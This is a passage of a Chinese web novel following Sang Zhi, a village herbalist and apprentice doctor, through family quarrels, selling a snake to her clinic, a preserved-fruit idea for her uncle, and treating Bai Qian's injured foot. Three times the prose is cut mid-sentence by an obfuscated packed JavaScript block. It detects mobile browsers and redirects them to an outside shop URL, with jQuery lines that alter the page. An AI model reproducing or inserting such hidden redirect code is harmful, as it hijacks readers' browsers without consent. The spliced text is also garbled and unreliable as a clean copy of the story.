“嚯！跟你周叔还客气啥？明天一早我在村口等你！不收你钱！” “那就麻烦周叔了。” 周珠赶着牛车走了，桑枝看一眼孟婶子，人倒是离了她老远，也不往她身边来了。 到了自家田跟前，桑正礼和桑盛坐在田坎上说闲话，周云莹老远坐在一棵树下面，看到她，冲她招了招手。 桑枝走过去，不忘招呼她爹和她大哥到树底下吃饭。 这棵大桑树就在她家田地跟前，是个遮阴的好去处。 三月间在地里干活儿的时候热，闲下来的时候坐树底下还有些冷呢。 桑枝把菜篮子放下，周云莹过来帮着分碗筷，三个人就坐在树荫底下吃饭。 采桑村地势开阔，除却村庄背后的大山，往前就是一大片开阔的平地，齐整的水田点缀其中，一条河流从村外流过，河边一排杨柳，正是长嫩芽的时候。 再过些日子，村里便有绿草茵茵，野花繁盛的景象了。 桑枝老远就瞧见她三叔过来，往她哥身后躲了一下，连带着剩了两张饼子的篮子也收了起来。 桑盛也看到了，直起身子站到桑枝前头，两三口把碗里的豆腐烧肉吃了。 “田耕完了？”桑正礼看一眼他。 桑正福裂开嘴笑了一声，答非所问：“哥，吃着呐？” “嗯，吃完了。”桑正礼不咸不淡的答了一句。 他也看不惯这个三弟好吃懒做，奈何自己到底是家里大哥，该帮的他都尽力帮一下。 桑正福看他吃完饭的碗，里头还剩了点儿油，不死心又问了一遍：“大嫂今天做的什么好吃的？” 桑枝一听，这话可真耳熟啊，跟方才孟婶子说的话如出一辙。 “就是些寻常饭菜。”桑正礼答了，就要下地。 桑正福看自己没讨到什么好处，转头看到站在桑盛身后的桑枝，叫了一声。 桑枝原想当作没见过他的，奈何人都叫自己名字了，她便喊了声“三叔。” 桑正福背着手，“小枝呐，三叔给你选的夫家，你不满意？旁边绿水村的，家里那是多好的条件呐！” 不说这事儿还好，一说起这事儿桑枝就生气，去年桑正福自作主张给她说了门亲事，媒人上门的时候她爹娘都蒙在鼓里。 那家人上来就说以后成了亲如何如何，好似这事儿就这么定了似的，话还没说完呢就被桑盛连人带礼扔了出去。 桑正礼当时不在家，回来听说了这事儿之后，上门去把桑正福狠狠骂了一顿，两家人暂时没了来往。 等到过年祭祖的时候，族里几个德高望重的长辈从中调解了一番，两家关系才缓和了几分。 这都过去几个月了，桑正福又提起来这事儿，桑枝一听火就往头上冒，就算对面人是长辈，她还是没忍住说了句：“三叔还是先管管自己儿子吧！” “怎么跟我说话呢！没大没小！”桑正福呵斥了一句。 话音刚落，身后一声暴喝：“住嘴！” “大哥？” 桑正礼走过来，推着他上了小路，“我们家的姑娘轮不着你操心！若是你再自作主张找人，咱们就断亲！” “桑盛！” “欸！爹！” “待会儿去把咱家牛牵回来！” “好嘞！” 桑正福一听，顾不得一只踩进了水里的脚，抓住桑正礼的胳膊死死不松手，“大哥！大哥！亲大哥！刚才是我嘴贱！是我嘴贱成了吗？” 桑正礼阴沉着一张脸不说话，甩开桑正福的胳膊，继续干活儿。 桑正福嬉皮笑脸的，转头看桑盛，桑盛没理他，又转头去看桑枝。 桑枝更不想搭理他，拉着不敢说话的周云莹往后面站了站。 桑盛挡在她们俩面前，“三叔，走吧，跟我去牵牛。” “好！真是好啊！一个个连我这个当三叔的说不得了？”桑正福指着他们的手都在抖，转头见桑正礼一副没听到的样子，“我就等着，看你能给你们家姑娘说个什么好人家！” 说完，一甩袖子走了。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376817|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围还有其他村民在，都听得一清二楚，桑正福这么一闹，事情又要传出去。 桑盛拍拍桑枝的头，对她道：“没事，饭也吃完了，叫你嫂子跟你一起回去吧，地里就剩这点儿活儿，下午我跟爹两个人就够了。” 桑正礼直起身子，也道了句：“云莹回去歇吧，不剩多少了。” 周云莹咬咬唇，看一眼桑枝，走到桑盛旁边，拽住他的衣摆，“我陪你。” 桑盛脸上不自觉扬起笑容，拍拍她的手，“回家去吧，惜儿一直看不到你，怕是要闹……我想吃你做的辣炒白菜。” “那我晚上给你做。” 桑枝提着菜篮子，站到路上等她哥嫂腻歪，看他哥把她嫂子逗得面如芙蓉。 过了一会儿，她嫂子红着脸过来，说他哥晚上要吃辣炒白菜，又问桑枝想吃什么，她给做。 桑枝不挑食，况且她娘和她嫂子手艺都好，做的她都爱吃，她就说都行。 回到家，院子里静悄悄的，刘蔓湘不在堂屋，也不在院里，应当是在屋里带着惜儿睡觉。 她去灶房把带回来的碗筷洗了，出来在院子里收拾了会儿药材，周云莹也学着她的样子，帮着她筛里头的灰尘石子。 屋里传来动静，周云莹说应当是惜儿睡醒了。 刘蔓湘抱着人出来，小姑娘头发乱糟糟的，看到桑枝，甜甜叫了声：“姑姑。” 桑枝走过去，从怀里拿出刚才周叔给她的松子糖，取了一颗喂到小丫头嘴里。 “好吃吗？甜不甜？” 小姑娘立马清醒了，脸颊鼓起一个小鼓包，笑起来。 周云莹进屋拿了把梳子出来，把惜儿从刘蔓湘怀里接过来放到椅子上，给她梳头，“小枝，怎么又给她买糖？” “是周叔送的，隔几天吃一块，也不会坏牙。” 刘蔓湘从屋里端了一篮子碎布头出来，拉着两人整理，这些做成帕子荷包也能卖个几文钱。 桑枝看一眼刘蔓湘，犹豫着要不要把今天遇到三叔的事情告诉她。 谁知她这么来回偷看了几次，刘蔓湘就道：“方才地里又出什么事儿了？” “娘你怎么知道啊？” “你刚才都看我多少次了？我是你娘，还能不晓得？娘是不是猜对了？” 桑枝只好把刚才的事情给她说了一遍，刘蔓湘轻哼一声，“你爹这次算是当了回明白人。” 见她没有生气，桑枝也把心揣回了肚子里。 下午快做饭的时候，周云莹在菜地拔了一颗刚长大的白菜。 昨天刚下过雨，这白菜嫩生生的，一甩还掉水珠呢。 桑枝叫她赶紧过来，说墙角那枇杷树上的袋子里装的是蛇，周云莹脸都吓白了。 “大嫂……哎呦！好疼！”桑枝转过身，看到她大哥举着手，“你干嘛敲我脑袋？” “你干嘛欺负我娘子？” 桑盛把周云莹拉过来，看着那麻布袋子，“又是药材？” “自然！”桑枝仰起脸，“能卖不少银子呢！” “是吗？卖了钱请我吃烧鸡。” “凭什么？”桑枝不甘示弱的看回去。 “凭你说能卖不少银子。” “行了，桑盛，别欺负你妹妹。”桑正礼把牛栓到棚子里，打了井水上来，喊大儿子：“过来洗手，还跟个小孩儿似的，都娶了媳妇儿了，羞不羞？” 桑枝学着她爹说话：“是啊，羞不羞？” 5. 第 5 章 下午喝的粥，小火在灶上熬的浓稠，配着中午没吃完的野菜饼子，和一盘辣炒白菜，以及几枚刘蔓湘自己腌的咸鸭蛋，忙了一天吃这样的饭最舒服不过了。 白菜是用自家晒的干辣椒炒的，还放了点儿醋，滋味十分好，桑枝也吃了好些。 饭桌上，桑正礼主动把白天地里的事儿拿出来说了。 刘蔓湘搅着粥，“若是老三家敢上门来闹，咱们就去请族公！断亲就断亲！” 桑盛抱着惜儿给她喂粥喝，惜儿不肯，非要周云莹抱才愿意吃饭，桑盛只好把女儿递给她。 他又伸出手帮惜儿擦了擦下巴，“娘，他才不敢上门闹，三婶子还指着农忙的时候咱们给他家帮忙呢。” “哼！”刘蔓湘想起那事儿就觉得气，“还不如断亲呢！我就这么一个姑娘，那能叫他那么算计？” 说完，又拍拍桑枝的胳膊，“小枝别着急啊，选个你喜欢的，合眼缘的，你瞧你大哥跟你大嫂，多好！” 桑正礼没说话，但也跟着点头。 桑枝嘴上胡乱应了几句，实则心里半个人影都还没有呢。 她想起自己屋里一箱子的医书，满心满眼都是学习！ 学医使人痛苦！ 背不完的医书！ 吃过饭便是农家人一整天唯一休息的时间，一家人在院里坐了一会儿，身上略有些凉意，便坐到堂屋去了。 夜晚的村里极静，老远还能听到别家小孩的哭闹声和犬吠声。 第二天一早，桑枝把挂在枇杷树上的麻布袋子取下来放到了背篓里。 刘蔓湘也起来了，知道她要出城，叫她吃过饭再走。 桑枝怕耽搁周叔做生意，说她到医馆再吃，就急匆匆走了。 到了村口，周叔已经等在那儿了，她爬到车上坐好，“周叔，还有几个人啊？” “还有一个。” 天色一点点亮起来，暮春的早晨还有些凉意，桑枝特地多穿了件衣裳。 又等了一会儿，一个人影匆匆跑来，递给周叔一个铜子，爬上了牛车。 桑枝一看，是王梅，她叫了一声王婶子，就各自坐着。 “走喽！” 周叔一甩鞭子，牛车慢慢起步，从村里小路拐上河堤，在此处又接了几个别村的人，才上了官道。 她偷偷看了一眼王梅，这就是白前的亲戚，只是为何没来往？ 虽说都是一个村子的，但桑枝却对这家人不熟悉。 桑正礼是采桑村的里正，家家户户有个什么事儿都来找她，唯独这家除却每年交税的时候会出现，其他时候从不往桑家来，跟别家也不热络。 采桑村到县里坐牛车要将近半个时辰，走上官道便快了。到了城门口，周叔把牛车停在城外一棵大槐树下，若是没什么特殊的事情，午时初刻便在这里等回村的人。 下午他还会再走一趟，最迟酉时三刻回村。 今天桑枝不晓得要在医馆里待到什么时候，就没跟周叔约时间。 茗县是画州最大的一个县城，十分繁华，一条主街朝四个方向延伸出许多条热闹的小街。 杏仁医馆就在靠南边的一条街上，靠近几个老巷子，老远就飘来一股药味。 桑枝背着背篓刚走进去，就被一只大手揉了脑袋。 “小师叔！”桑枝不用看就知道这人是谁，她转身气冲冲的看着站在她对面的男人。 这男人三十岁上下，一副吊儿郎当的俊俏风流模样，手里一把折扇，若是不认识他的人都以为他是哪家的公子，更不会相信他就是整个茗县甚至画州最擅用针的大夫。 几个抓药的药童看到桑枝，都热切的喊她，她转过头打个招呼的功夫于羽就把她的小背篓取下来了。 “小师叔！” “哎呦，对小师叔这么凶啊？”于羽说着，打开往里面一瞧，“拿袋子装这么严实，肯定是好东西吧？” “小师叔你小心点儿！当心它跑出去！” “还是活物？”于羽来了兴致，抬脚就往后院走，“让我看看你这次找到了什么！” 桑枝跟在他身后，“大师叔呢？” “给人正骨呢。” 杏仁医馆的后院别有洞天，院子足有前头屋子的两三倍大，一层层的架子上摆着各样的药材，都用簸箕装着，几个小药童正在挨个翻捡。 “厉害啊小枝！乌蛇都能找到！嗯……大小也合适。” 袋子里的乌蛇在里头待了这么长时间，连挣扎的劲儿都没了，被于羽倒进一个竹编的鱼篓里，也跑不出来。 桑枝看于羽脸上的表情就知道这桩生意稳了，“小师叔，你开个价吧！” 于羽提着鱼篓想了一会儿，“一两银子，怎么样？” “成交！” 这个价钱还算合适，乌蛇毕竟不是金钱白花蛇，没那么贵重，就这么几条能卖到一两银子已经很不错了，况且这还没经过修治呢。 她师傅池大夫不在，店里就是小师叔说了算，大师叔只管治病的事儿。 小师叔将乌蛇丢给一个医馆里专门修治药材的药童，“正巧你来了，有个年轻姑娘专门找你呢，说之前找你开过三副药，吃了效果可好。” “不错啊，过几年就能赶上你师叔我了。” 还没等桑枝高兴呢，于羽又用折扇敲了一下她的脑袋，“师兄临走前叫我叮嘱你别忘了背书，他回来要考。” 桑枝听了这话，魂儿都要飞走了，“考哪几本？” 门帘一声响，从前头来了个药童喊于羽，“于大夫，有个婆婆来找您行针。” “我马上去。”于羽应了一声，转头对桑枝道：“就考你已经背会的那几本。” 桑枝一听，差点儿一头栽进旁边的花坛里，她自十岁那年开始背医书，从《神农本草经》和《本草纲目》背到《黄帝内经》和《伤寒杂病论》…… 不仅要背，还要边背边理解。 这么多年以来，她除了背书这种纸上谈兵的学习途径，还得跟在池大夫学习看诊。 她都不敢说自己已经全部记住了，更如今她屋里还有许多没背的。 桑枝垂头丧气的往前面走，打算在师傅回来之前再磨一磨小师叔和大师叔，叫他们给自己透点儿题。 医馆有桑枝住的屋子，也有她自己的诊室。 她把小背篓放到小屋里，去给那位一直等着她的姑娘看了诊，给人开了几副药。 这姑娘每回来月事的时候肚子疼，上个月也来了一次，这是第二次找她。 桑枝叮嘱她切记不能再吃冰饮子，就算入了夏也得记着。 送走这位姑娘，她熟门熟路钻去灶房，想找点儿吃的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376818|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 灶房里做饭的师傅已经在收拾锅灶了，见她来了，端出来一盘葱花饼，“陆大夫专门给你留的，说你爱吃这个。” 桑枝连忙接过来，“还是大师叔好！小师叔就知道欺负我！” “当心叫你小师叔听见，他可不乐意。”一个带着笑意的声音传来，灶房里又走进来一个身材高大，膀大腰圆的男人，明明还是春天，却比别人都穿的少。 她大师叔靠正骨的手艺吃饭，这般看上去就是个有力气的人。 “大师叔！” 桑枝见陆怀走进来，冲他招招手，“大师叔也没吃早饭啊？” “我吃过了，”陆怀摇摇头，“听小师弟说你来了，我过来看看。” “今天还回村里吗？” 桑枝咬一口酥脆的葱花饼，“回，回去背书。” 她原想在医馆里多待一天，如今又要考试，还是早些回去背书的好。 陆怀闻言笑了，“你怕什么？师哥他常考你。再说了，他那么疼你，答不出来他也不会训你。” 这能一样吗？ 考试前哪有安稳的？ 池大夫是不会训她，但他那双眼睛跟鹰似的，光是盯着她不说话都让她坐立难安一整天了。 还不如训一顿呢！ 看桑枝蔫巴儿着不说话，陆怀轻咳一声，“你好好背书……过两天，师叔给你讲讲。” 桑枝一听，葱花饼都顾不上吃了，“大师叔！你现在就给我讲讲啊！” 陆怀摇摇头，“不成！” “还有一个月时间呢，你急什么？” 但桑枝再怎么说他都不愿意，医馆里又忙着，有人叫他，他便出去了。 好在大师叔愿意帮她，桑枝悬着一半的心可算掉下来，能安稳吃葱花饼了。 吃完饭她往街上去，要买点儿家里缺的东西，若是时间来得及，还能顺道去看看二叔。 一出医馆门，她就看到白前站在路对面，正看着杏仁医馆的大门，皱着眉头，不知道在想什么。 “白前！”桑枝冲他招招手。 站在对面的人看了她一眼，错开人流走过来，“你是这医馆的大夫？” 桑枝点头，“是，你也来镇上啊？” “卖了点东西。鱼汤我给英儿做过了，她很喜欢。” “那就好，除了炖鱼，炖鸡汤对她也好。” 桑枝说完，看他一直欲言又止，便主动道：“你……是想进来？” 白前却摇摇头，“不必了。” “哦对了。”桑枝从怀里掏出来一包松子糖，“这个帮我送给白英。” 她碰巧才遇到白前一次，这糖刚好送给小姑娘吃，给惜儿的她等会儿再买便是。 见他没接，桑枝又往前递了递，“小姑娘跟我合眼缘呢，我给她的，你可不许独吞了去。” 白前这才接下，抿唇道：“我不会吃这种东西。” 又说：“谢谢。” “谢什么……那天你说的弱症……是白英吧？” “怎么不带她来医馆瞧瞧？” 白前把糖收好，“她不喜欢这种地方。” 不喜欢这种地方？ 医馆吗？ “欸！你干什么去？” 桑枝正想着，人已经走出好远了。 “买鸡。” 6. 第 6 章 白前身高腿长，转眼便混入人流。 街上热闹，桑枝也顾不得看，她还想早些回去背书。 但仍是要去一趟市集。 去集市要路过二叔开的果脯店，她正好进去称点儿零嘴。 她二叔桑正齐年轻时候便离家去外头闯荡，攒了些银子回到茗县，娶了个秀才家的姑娘，开了一家果脯店，日子过得不错。 膝下还有个十五岁的儿子前年刚考中童生，在城外一家书院读书。 逢年节的时候桑枝见过他几次，是个很知礼的小孩儿。 果脯店所在的这条街不是很偏僻，但远远不及主街那头热闹。 桑正齐刚送走一位买了许多蜜饯的贵客，在门口站了一会儿，一眼就看到往这边来的桑枝。 “小枝？今天怎么有空上二叔这儿来？” 桑正齐当初外出闯荡，大哥桑正礼帮他出了不少力气，就连当时他在县城买院子，桑正礼还给他掏了几两银子。 他知道大哥对他好，便也时时帮衬着乡下老家。 至于这个当了大夫的侄女，也是有大好前程的，他自然比别家亲戚的孩子更看重些。 “二叔！我来给惜儿买点儿果脯！” “要什么尽管挑，二叔给你拿最甜的。” 桑正齐递给她一把小木铲，“惜儿是不是又长大些了？我上次回去还是过年的时候，都几月没见啦。” “是长大了些，也知道吃零嘴了。” 就这么聊了两句，又来了客人，桑正齐去招呼，叫她慢慢选。 桑正齐的果脯店不大一个，最前面是一方柜台，一直延伸到最里头的墙边，靠左侧只留下两人能错开身的过道。 店面不大，店里的果脯花样却多，桑枝挑选的时候，陆续又来了两个人，一个买了包糖冬瓜条，还有一个买了点儿杏脯和桃脯。 蜜饯价格高，客流比不得什么包子铺面馆，偶尔三三两两来人，生意看着远不如隔壁满座的茶水铺子好。 桑枝选了点儿糖冬瓜条和金丝蜜枣，桑正齐一称算好价钱，给她便宜了十五文钱，只收了她一百五十文。 “二叔帮你包起来。”桑正齐转身从柜台后头拿出油纸过来，两份果脯包了两个油纸包。 “谢谢二叔！” 桑枝把麻绳勾到手里提好，抬头看她二叔一副愁容，方才她刚来时也这样，似是有心事。 “二叔，怎么了？我看你心情不太好。” 桑正齐闻言，笑着摆摆手，“没什么事儿，你忙去吧，改天二叔回去看你。” 话是这么说，桑枝却能明显感觉到她二叔这是遇上难事儿了，但她又是小辈，二叔也不好跟小辈说什么。 于是她试探着问：“二婶和堂弟可还好？” 桑正齐一怔，笑说：“都好着，你二婶在屋里绣帕子，和安在书院读书也用功。” 至此桑枝也不好再说什么，她还要往集市上去，便同二叔作别。 桑正齐应了一声，要把她送到店外。 这时外头却突然来了人，叫了一声桑掌柜。 “最近生意不好做啊，你这儿怎么样？” 原是隔壁卖干果的，守着铺子半天不见人来，来找桑正齐说闲话，手里还揣着一把西瓜子。 桑正齐揣着手，客套一声：“都一样。” “你跟我可不一样，儿子科考要花不少银子吧？笔墨纸砚……哪个不要钱？每年还得给书院交束脩。” “还成吧。” “还成？桑掌柜我给你说啊……” 桑正齐明显不想与他多聊，时不时应一句，这人却跟看不出来似的，站在柜台跟前，把磕出来的瓜子皮吐的到处都是，不过幸好是店外。 桑枝都看不过去了，原是要走的，现在只想把先这个人轰走。 她大声喊了一句：“二叔！我爹有点儿事叫我跟你说！” 那人才转眼看站在旁边的桑枝，“呦，家里来亲戚了？那我就不打扰了。” 正巧他手里的瓜子也吃完了，拍了两把手上的壳渣，转头走回自己店里去了，边走还边咳嗽了两声。 等那人走了，桑正齐才问她：“你爹要你跟我说什么？” 桑枝朝那人走的方向看了一眼，才道：“他没叫我说什么，我就是看不惯这人。” 桑正齐笑了，“劳烦小枝操心二叔。” 桑枝也跟着笑了两声，站到柜台跟前，对她二叔说：“二叔，我想跟你做门生意。” “生意？”桑正齐明显没把她的话当真，“什么生意？二叔这儿可不收药材。” “谁说二叔这儿不收药材的？我看二叔这儿缺的就是药材！” 桑正齐扯着抹布的手一顿，“怎么说？” “二叔，你知不知道一种叫甘草杏的果脯？” “不晓得，”桑正齐摇摇头，“你是从哪里听来的？” “我自是从书上看来的，若是二叔铺子里新添几样果脯，生意定然好！” 桑枝方才看出来了，她二叔是为着堂弟读书的事情发愁，眼下读书的开销确实大，一套文房四宝好些的都得好几两银子。 她看着店里的果脯，方才又听那人咳嗽了两声，叫她一下子就想起了甘草杏。 若是这甘草杏能成，也算是帮她二叔引引客流。 于是她便继续道：“这甘草杏啊，是用盐腌制过的杏，和甘草熬的汤做出来的。” “味道有甜有酸，还略微带点儿咸味。” “这果脯还有点儿祛痰止咳的效果呢。” “二叔要不要考虑一下？” 桑正齐皱着眉头想了半天，“你说的这味道，能好吃吗？” “自然好吃！”桑枝信誓旦旦道：“我以前从一个西北边来的商人那儿买到过，味道可好了。” 见桑正齐有些犹豫，桑枝趁机道：“我改天给二叔拿点儿甘草过来，二叔试做一下？就当我嘴馋，二叔，你就帮帮我吧？” “我好久都没吃到过了，可想了。” 桑正齐被她逗笑，“成，改天二叔给你试做。” 也算是目的达成，不管桑正齐有没有把这事儿当真，届时她把甘草拿过来，试做可是他答应了的。 具体配比她不知道，但桑正齐开了这多年果脯店，定然有法子捣鼓出来。 在果脯店待的有点儿久，桑枝没赶上中午回采桑村的牛车，这儿又离医馆有些远，她只好去集市上随便吃点儿。 县里集市比采桑村河堤边每月两次的集会大许多，卖什么的都有。 桑枝挑了一处人多的面馆坐下，要了一碗鸡丝笋面，小二告诉她人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376819|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多，得多等一会儿。 面馆里三五张方桌，眼下都坐满了人，她这桌倒是只坐了她一个。 都过了饭点生意还这么好，可见这家面馆的味道是真的不错。 多等一会儿没什么，集市上的馆子，人少的地方肯定味道不好，她宁可多等一阵子。 小二给倒了杯温水，桑枝杯子握在手里喝了一口，听见小二道：“客官！真是不好意思！小店客满了，要么……” 桑枝抬眼，看到方才才见过的人站在门口，手里还提着一只鸡。 “白前！”桑枝叫了一声，又对小二道：“叫他跟我同坐吧，我们认识。” 小二哥正为难呢，他舍不得客，又不好叫这人跟个不认识的姑娘坐一桌，因此桑枝这话一出，他连忙就引着白前往桑枝那桌走。 “客官请坐！想吃点儿什么？” 白前跟着小二走过来，坐到桑枝对面，看了一眼食单，要了碗鸡丝笋面。 桑枝听了，跟他说：“咱们俩要的一样的面。” 白前没说话，目光掠过被他放在旁边的鸡，被桑枝十分眼尖的发现。 敢情是因为买了只鸡才要的鸡丝笋面啊。 小二过来添水，听到桑枝的话，喜气洋洋道：“小姐和公子真是有缘！” 桑枝咯咯笑了几声，白前冷着一张脸，动了动嘴唇，明显想解释，但小二忙得脚不沾地，已经提着壶去别桌了。 这家的面的确好吃，鸡汤清亮，面条入口丝滑劲道，配上清爽的笋丝，叫人不知觉连汤都喝完了。 吃完饭，桑枝和白前各自付了钱，一同走出面馆。 桑枝要去市集上买东西，见白前又一声不吭的冲她点点头，然后往出城的方向去。 “这个时辰你怎么回去啊？” 白前定住脚步，“骑马。” 桑枝眼前一亮，“你还会骑马啊？” 白前点了下头，又不说话了。 “那改日见啊，我还要去买东西。” 市集上从早到晚都是人山人海的，桑枝在杂货店买了三把刷牙子和现成的牙粉，牙粉医馆里也能配，但自己磨远不如买现成的方便；又去粮油店买了一罐盐和一罐糖；最后旋身去肉铺买了四斤排骨，还不忘提一只她大哥想吃的烧鸡。 虽说大哥那日只是同她说笑，但今日她赚了一两银子，也该买点儿好吃的。 桑枝提着东西赶到城门口时，周叔正好等在那儿。 “周叔！” “小枝来了？咱们再等一炷香时间，还没人就走。” “好。” 后来陆续又来了两个人，都是隔壁村的。 回去的路上那两人看桑枝提着大包小包，难免说几句酸话，桑枝只当没听见。 回到家，刘蔓湘数落了她一顿，怪她整日乱花钱，但实则却是笑着将排骨放到灶房，说明日要烧来吃。 至于那只烧鸡，今晚便进了一家人的肚子，惜儿也得了只鸡腿，啃得满脸都是油。 第二日桑枝跑了趟镇上，把自己收拾好的，已经晾干切成段的甘草送到桑正齐的果脯店，又去医馆帮了一天忙。 然后把自己关在屋里背了两天医书。 只是再忙了不能忘了采药卖钱，所以她寻了个万里无云的好天气，背上背篓又上了山。 7. 第 7 章 “小枝上山啊？” “欸！花叔早！” 村里的人几乎每天都要上山砍柴，山脚下人来人往，见到桑枝都要跟她说几句话。 花叔下山的时候给她指了个地方，叫她去那里挖，他上次去那里挖到过菌子。 上山砍柴的人只会在近山处，不会往里面走，像她上次遇到乌蛇的地方，纵然有条溪水在，却是鲜少有人去的。 对村里人来说，有在山里挖草药挖野菜的功夫，还不如去种几分庄稼。 有这么些年挖药材的经历，桑枝不说踏足过这座山的任何一个角落，对这座山也比其他人都要熟悉，有时能在里头转好几个时辰，若是寻不到一株她想要的药材，背着空背篓下山也是常有的事。 花叔说的地方她曾经也去过，正好开春之后她还没怎么上过山，说不定真能叫她找到什么好东西。 一路走她也没空着手，挖了半篓随处可见的马齿苋，回去若是不晒干入药，凉拌味道也是很好的。 中途停下来喝了口水，桑枝无意间看到几棵野桃树，此地处于山阴处，光照甚少，快三月底了才长出粉嫩的花苞。 她踩着石块走过去，为的不是这还未开的桃花，而是桃树上的桑寄生——眼下它长在桃树上，也可以叫桃树寄生。 桑枝取出小镰刀小心割下一些，用自己带来的布袋子装好，再加上先前的马齿苋，刚好装满她的小背篓。 花叔说的那头暂且不去了，看时间还早，她想去一趟溪边，那天抓蛇的时候，她看到几丛淡竹叶长势颇好，也可入药。 自野桃树这边到溪水那头有些距离，她走走停停，也采下一把菌子，把小背篓装得满满当当。 那日发现乌蛇的那丛芦苇仍有当初白前分开过的痕迹。 桑枝走过去看了看，这次什么都没有，果然好运气不是日日都有的。 淡竹叶就在溪水边上长着，翠绿的叶片修长，垂到水面之上，她把背篓放下，挖了一丛。 刚起身，林中便传来一阵杂乱的脚步声，桑枝猛地回头，却丝毫看不见人影。 她握着左手镰刀右手药锄，莫名觉得这场景有些眼熟。 脚步声越来越近，草木窸窣的声音也越来越清晰。 谁会在山林里这样跑？难不成是遇上什么猛兽了？ 但桑枝在山上采了这么多年药，从没见过猛兽。 警惕心时时都要有，她还是背起了背篓，朝声音传来的方向喊了句：“谁在哪儿？” 溪水之上是一片澄澈的天空，将溪边和山林分成明暗两个部分。 无人回答，下一瞬却从那暗处掉出来一个人来。 “白英？” 桑枝赶忙上前几步，扶住差点儿摔倒的小姑娘，“你哥哥呢？” “大姐姐！救救我哥哥！” 桑枝一惊，发觉白英已经哭得满脸都是泪痕了。 看起来事态确实十分紧急，桑枝顾不上多问，牵着小姑娘的手，“走，带我去找你哥哥！” 白英牵着她的手穿过山林，七拐八拐，绕过一条野草杂乱的山路，转眼便是一小片开阔之地，一座屋子屋坐落在小瀑布旁边，外头的围墙用青砖砌的高高的，从这里甚至可以看到山脚下的采桑村。 她知道山上有个废弃的茅草屋，是从前一个猎户建的，他死后那里也荒废了。 但她却从来没来过，这样一看，这里简直犹如世外桃源一般！ 但这般美景她只匆匆看了一眼，还有更重要的事情要做。 桑枝把背篓放在院子里，白英拉着她走进屋里，敲了敲左左侧的房门，“哥哥，我进来了。” 里面的人含糊应了一声，桑枝心头一紧，下意识以为他受了很严重的伤，几乎是比白英还要快一步冲进去。 靠在床上的人一皱眉，目光转向白英，十分不自在的说：“你怎么把她带来了？” “哥哥不是说自己可以解决吗？” 白英一边抽抽搭搭一边说：“可是……可是哥哥受了很严重的伤。” 说话间，桑枝已经十分自然的走到床头，想要掀开他的被子，“伤哪儿了？” 白前眼疾手快一把按住，“你干嘛？” 纵然自己穿了裤子……她也不能……不能做出这种随便掀人被子的事儿来…… 桑枝看他一眼，催促道：“快点，让我看看伤。” “哥哥……”白英颤抖着声音叫了他一声，眼巴巴看着他。 白前看一眼妹妹，“英儿，先出去。” “哥哥……” “听话。” 白英这才出去，顺手带上了门。 “我怕她看到伤口害怕，你把门打开……” “你倒是个好哥哥……开什么门啊？这儿又没别人，我是大夫，不用避嫌！”桑枝一边掀被子一边道：“怎么伤的？” “石头砸伤的，不是什么大事。” 看到他的左脚，桑枝简直要跳起来，“这么严重的伤！还说不是大事？你以后不想走路了？这是你自己处理的？” 就算被干净的软布裹着，仍有血迹隐隐透出，脚已经肿起来，没有出血的地方青紫一片。 “我先给你看看有没有伤到骨头，若是皮外伤便好办些，若是伤到骨头就麻烦了。” 桑枝伸出手握住他的脚腕，白前一惊下意识一缩，钻心的疼痛自脚上蔓延开，纵然他再这怎么不怕痛，也有些受不住，“嘶……” “叫你别乱动，你看，疼了吧？”桑枝一边查看伤口一边道：“噫？你包扎的不错嘛。” “嗯，我应当……没伤到骨头。” “就算你以前上过战场，知道怎么处理伤口，也能大致了解自己的情况，但大夫的话你要听，明白吗？” “这样疼吗……那这样呢？这里有感觉吗……” 桑枝反复检查，最后长呼一口气，“还好，没伤到骨头。” “你这里有药吗？没有药我现在下山去取。” 白前不自在的移开目光，给她指了放在角落里的一个木柜，“有，在柜子里。” 桑枝走过去，看到柜子里放着不少药瓶，治外伤的最多。 她取了一瓶最合适的拿过来，给他上药，“你这里东西还挺齐全，只是怎么都是外敷的药，没有内服的？” “我待会儿下山给你取来，这样好得快。” “不用了，我……” 桑枝瞪他一眼，“你什么你？我最不喜欢不听话的病人。你现在不能下床，难道叫白英下山给你买药吗？” 白前默然，桑枝就当他答应了。 上好药之后，桑枝给他重新包扎了伤口，“好了，我去洗个手，你先躺着。” 桑枝跨出屋门，白英站在外面给她招手，“大姐姐，这里。” 她走过去，看到白英已经给她倒了一盆水，还是热的。 桑枝弯下腰洗手，“小英帮我烧的热水吗？谢谢。” 小姑娘一边点头一边说：“嗯，我还煮了粥。” “煮粥？”桑枝恍然才发觉已经到 